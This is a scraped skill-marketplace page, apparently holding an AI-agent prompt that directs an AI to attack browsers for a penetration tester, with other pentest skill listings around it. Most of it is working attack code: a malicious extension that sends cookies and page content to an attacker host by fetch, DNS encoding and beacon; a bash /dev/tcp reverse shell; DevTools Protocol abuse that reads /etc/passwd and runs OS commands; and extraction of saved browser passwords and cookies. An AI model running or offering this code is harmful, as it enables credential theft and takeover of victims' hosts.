You are helping a penetration tester exploit misconfigured Active Directory
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester exploit browser-based attack surfaces. This
インストールする前に、エージェントに与えられる指示の中身を確認できます。
You are helping a penetration tester exploit browser-based attack surfaces. This covers three attack areas: malicious browser extension crafting (for bot/upload scenarios), Chrome DevTools Protocol abuse (exposed debug ports), and browser profile data extraction (post-exploit). All testing is under explicit written authorization.
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
[browser-exploitation] Activated → <target> to the screen on activation.engagement/evidence/ with
descriptive filenames (e.g., extension-exfil-cookies.txt, cdp-file-read.txt).This skill covers browser-based exploitation — extension crafting, CDP abuse, and profile extraction. When you reach the boundary of this scope — whether through completing your methodology or discovering findings outside your domain — STOP.
Do not load or execute another skill. Do not continue past your scope boundary. Instead, return to the orchestrator with:
The orchestrator decides what runs next. Your job is to execute this skill thoroughly and return clean findings.
Stay in methodology. Only use techniques documented in this skill. If you encounter a scenario not covered here, note it and return — do not improvise attacks, write custom exploit code, or apply techniques from other domains. The orchestrator will provide specific guidance or route to a different skill.
Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
Write actionable findings immediately via state so the orchestrator can react in real time:
add_credential() — cookies, tokens, saved passwords extractedadd_vuln() — confirmed CDP access, extension RCE, profile extractionadd_pivot() — internal services discovered via extension or CDPadd_blocked() — techniques attempted and failedYour return summary must include:
NEVER download, clone, install, or build tools. The operator's attackbox has a curated toolset — do not modify it. If a tool required by this skill is not installed, STOP and return to the orchestrator with the missing tool name.
Prerequisites vary by attack area:
Determine which attack vector applies:
If the orchestrator provided context specifying which section, skip directly to it.
Before crafting exploit extensions, determine what outbound channels reach your attackbox. This prevents wasting iterations on blocked exfil methods.
Create a test extension that tries multiple egress methods:
Manifest V3 egress test:
{
"manifest_version": 3,
"name": "Egress Test",
"version": "1.0",
"permissions": ["activeTab"],
"content_scripts": [{
"matches": ["<all_urls>"],
"js": ["test.js"]
}]
}
test.js:
// Test HTTP egress to attacker
fetch('http://ATTACKBOX:PORT/egress-http', {method: 'POST', body: 'ok'})
.catch(()=>{});
// Test DNS egress (image load triggers DNS lookup)
new Image().src = 'http://egress-dns.ATTACKER_DOMAIN/pixel.gif';
// Test WebSocket
try { new WebSocket('ws://ATTACKBOX:PORT/egress-ws'); } catch(e) {}
Start an HTTP listener on your attackbox (python3 -m http.server PORT) and
check which callbacks arrive. Use the first method that works.
Egress priority:
fetch() POST to attacker HTTP listener — most reliable, largest payloadsnavigator.sendBeacon() — fire-and-forget, limited payload sizeModern Chrome uses Manifest V3. Content scripts run in page context; service workers handle background logic.
manifest.json:
{
"manifest_version": 3,
"name": "Helper",
"version": "1.0",
"permissions": ["activeTab", "cookies", "storage"],
"host_permissions": ["<all_urls>"],
"content_scripts": [{
"matches": ["<all_urls>"],
"js": ["content.js"],
"run_at": "document_idle"
}],
"background": {
"service_worker": "bg.js"
}
}
Content script patterns (content.js):
// Cookie theft — read document.cookie from every page
let data = {
url: location.href,
cookies: document.cookie,
html: document.documentElement.innerHTML.substring(0, 5000)
};
fetch('http://ATTACKBOX:PORT/exfil', {
method: 'POST',
body: JSON.stringify(data)
});
Service worker patterns (bg.js) — internal service access:
// Fetch internal services the bot's browser can reach
const targets = [
'http://localhost:3000/',
'http://localhost:5000/',
'http://127.0.0.1:8080/',
'http://INTERNAL_HOST:PORT/'
];
Promise.all(targets.map(u =>
fetch(u).then(r => r.text()).then(body => ({url: u, body: body.substring(0, 3000)}))
.catch(e => ({url: u, error: e.message}))
)).then(results => {
fetch('http://ATTACKBOX:PORT/internal', {
method: 'POST',
body: JSON.stringify(results)
});
});
Older environments may require Manifest V2 (background page instead of service worker).
manifest.json:
{
"manifest_version": 2,
"name": "Helper",
"version": "1.0",
"permissions": ["<all_urls>", "cookies", "activeTab"],
"content_scripts": [{
"matches": ["<all_urls>"],
"js": ["content.js"],
"run_at": "document_idle"
}],
"background": {
"scripts": ["bg.js"],
"persistent": false
}
}
Content script and background script logic is the same as V3, but V2
background scripts have full DOM access (document, XMLHttpRequest).
Extensions must be packaged as a flat ZIP — files at the root, no subdirectory wrapper.
# Correct: flat zip from inside the extension directory
cd /tmp/extension && zip -r /tmp/extension.zip .
# WRONG: creates a subdirectory inside the zip
zip -r /tmp/extension.zip /tmp/extension/
Verify structure: unzip -l /tmp/extension.zip should show manifest.json at
the top level, not extension/manifest.json.
HTTP POST (preferred):
fetch('http://ATTACKBOX:PORT/exfil', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({cookies: document.cookie, url: location.href})
});
DNS exfil (when HTTP is blocked):
// Encode data in subdomain labels (max 63 chars per label)
let encoded = btoa(document.cookie).replace(/[^a-zA-Z0-9]/g, '');
let chunks = encoded.match(/.{1,60}/g) || [];
chunks.forEach((c, i) => {
new Image().src = `http://${i}-${c}.ATTACKER_DOMAIN/p.gif`;
});
Beacon (fire-and-forget):
navigator.sendBeacon('http://ATTACKBOX:PORT/beacon',
new Blob([JSON.stringify({data: document.cookie})], {type: 'text/plain'}));
When the bot runs on a host where you need shell access:
// content.js — trigger reverse shell via the page's server-side context
// Only works if extension can execute commands (e.g., via discovered RCE endpoint)
// Method 1: If an internal service has command injection
fetch('http://localhost:5000/vulnerable-endpoint', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'cmd=' + encodeURIComponent('bash -c "bash -i >& /dev/tcp/ATTACKBOX/PORT 0>&1"')
});
If the extension itself needs to deliver a reverse shell (e.g., via a discovered internal command injection), use the egress-tested port from Step 2a.
Shell method priority: mkfifo+nc > bash /dev/tcp > python socket. Try at most 3 ports before changing method. Do not iterate blindly.
Promise.all() for
parallel fetches./, >, < in
filenames or paths. Use POST body instead of URL parameters for payloads.host_permissions: ["<all_urls>"].# Check if debug port is open and responsive
curl -s http://TARGET:9222/json/version
curl -s http://TARGET:9222/json
# Node.js inspector
curl -s http://TARGET:9229/json
The /json endpoint returns a list of open tabs with WebSocket debug URLs.
Use the webSocketDebuggerUrl from /json to interact with browser tabs:
# List pages and get WebSocket URLs
PAGES=$(curl -s http://TARGET:9222/json)
WS_URL=$(echo "$PAGES" | python3 -c "import sys,json; print(json.load(sys.stdin)[0]['webSocketDebuggerUrl'])")
Evaluate JavaScript in page context:
# Using websocat or python websocket client
echo '{"id":1,"method":"Runtime.evaluate","params":{"expression":"document.cookie"}}' \
| websocat "$WS_URL"
Python one-liner for CDP interaction:
import json, asyncio, websockets
async def cdp(ws_url, expr):
async with websockets.connect(ws_url) as ws:
await ws.send(json.dumps({"id":1,"method":"Runtime.evaluate","params":{"expression":expr}}))
return json.loads(await ws.recv())
# Get all cookies via CDP (not just current page)
echo '{"id":1,"method":"Network.getAllCookies"}' | websocat "$WS_URL"
# Read local files via fetch in page context
echo '{"id":1,"method":"Runtime.evaluate","params":{"expression":"fetch(\"file:///etc/passwd\").then(r=>r.text())"}}' \
| websocat "$WS_URL"
Node.js inspector allows direct code execution:
# Get WebSocket URL
WS_URL=$(curl -s http://TARGET:9229/json | python3 -c "import sys,json; print(json.load(sys.stdin)[0]['webSocketDebuggerUrl'])")
# Execute OS commands
echo '{"id":1,"method":"Runtime.evaluate","params":{"expression":"require(\"child_process\").execSync(\"id\").toString()"}}' \
| websocat "$WS_URL"
After confirming RCE, establish a reverse shell via the Shell Access workflow (start_listener → send reverse shell command → stabilize).
Chrome/Chromium:
# Linux
ls -la ~/.config/google-chrome/Default/ 2>/dev/null
ls -la ~/.config/chromium/Default/ 2>/dev/null
# Also check other users
find /home -path "*/google-chrome/Default" -o -path "*/chromium/Default" 2>/dev/null
# Windows
dir "%LOCALAPPDATA%\Google\Chrome\User Data\Default" 2>nul
dir "%LOCALAPPDATA%\Chromium\User Data\Default" 2>nul
# macOS
ls ~/Library/Application\ Support/Google/Chrome/Default/
Firefox:
# Linux
find ~/.mozilla/firefox -name "*.default*" -type d 2>/dev/null
# Windows
dir "%APPDATA%\Mozilla\Firefox\Profiles" 2>nul
# macOS
ls ~/Library/Application\ Support/Firefox/Profiles/
# Chrome cookies (SQLite) — copy first to avoid lock issues
cp ~/.config/google-chrome/Default/Cookies /tmp/cookies.db
sqlite3 /tmp/cookies.db "SELECT host_key, name, encrypted_value FROM cookies;"
# Firefox cookies (SQLite)
cp ~/.mozilla/firefox/*.default*/cookies.sqlite /tmp/ff-cookies.db
sqlite3 /tmp/ff-cookies.db "SELECT host, name, value FROM moz_cookies;"
Chrome (Linux — encrypted with libsecret):
cp ~/.config/google-chrome/Default/"Login Data" /tmp/logins.db
sqlite3 /tmp/logins.db "SELECT origin_url, username_value, hex(password_value) FROM logins;"
Chrome encrypts passwords with OS-specific methods:
secretstorage
Python module or extract the key from ~/.local/share/keyrings/dpapi.py (Impacket) or mimikatzsecurity find-generic-password -w -s "Chrome Safe Storage"Firefox saved passwords:
# Firefox stores credentials in logins.json, encrypted with key from key4.db
# Use firefox_decrypt (if installed) or extract key4.db + logins.json
cp ~/.mozilla/firefox/*.default*/key4.db /tmp/
cp ~/.mozilla/firefox/*.default*/logins.json /tmp/
# Chrome history
cp ~/.config/google-chrome/Default/History /tmp/history.db
sqlite3 /tmp/history.db "SELECT url, title, last_visit_time FROM urls ORDER BY last_visit_time DESC LIMIT 50;"
# Chrome autofill
sqlite3 /tmp/history.db "SELECT name, value FROM autofill;" 2>/dev/null
# Bookmarks (JSON, no encryption)
cat ~/.config/google-chrome/Default/Bookmarks | python3 -m json.tool
After completing the applicable section:
manifest.json at root (see Step 2d).activeTab only) and add as needed.matches pattern. Use
"<all_urls>" for broadest coverage. Verify run_at timing.fetch() when host_permissions includes the target. Service workers
bypass CORS entirely with proper permissions.setTimeout() or sequential fetches. Use Promise.all()./json endpoint may require a specific
host header. Try curl -H "Host: localhost" http://TARGET:9222/json./json/new?http://TARGET to open a new tab (if permitted).curl with upgrade headers for simple one-shot commands./tmp/ before reading: cp Cookies /tmp/cookies.db.まだレビューはありません。使ってみた感想をお寄せください。
概要と使いどころ
You are helping a penetration tester exploit misconfigured Active Directory
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester enumerate an Active Directory domain and
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester establish persistent access in Active
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester exploit ADCS through template/CA access
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester establish persistence through AD CS
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester exploit misconfigured AD CS certificate
日本語の概要は準備中です。原文の説明を表示しています。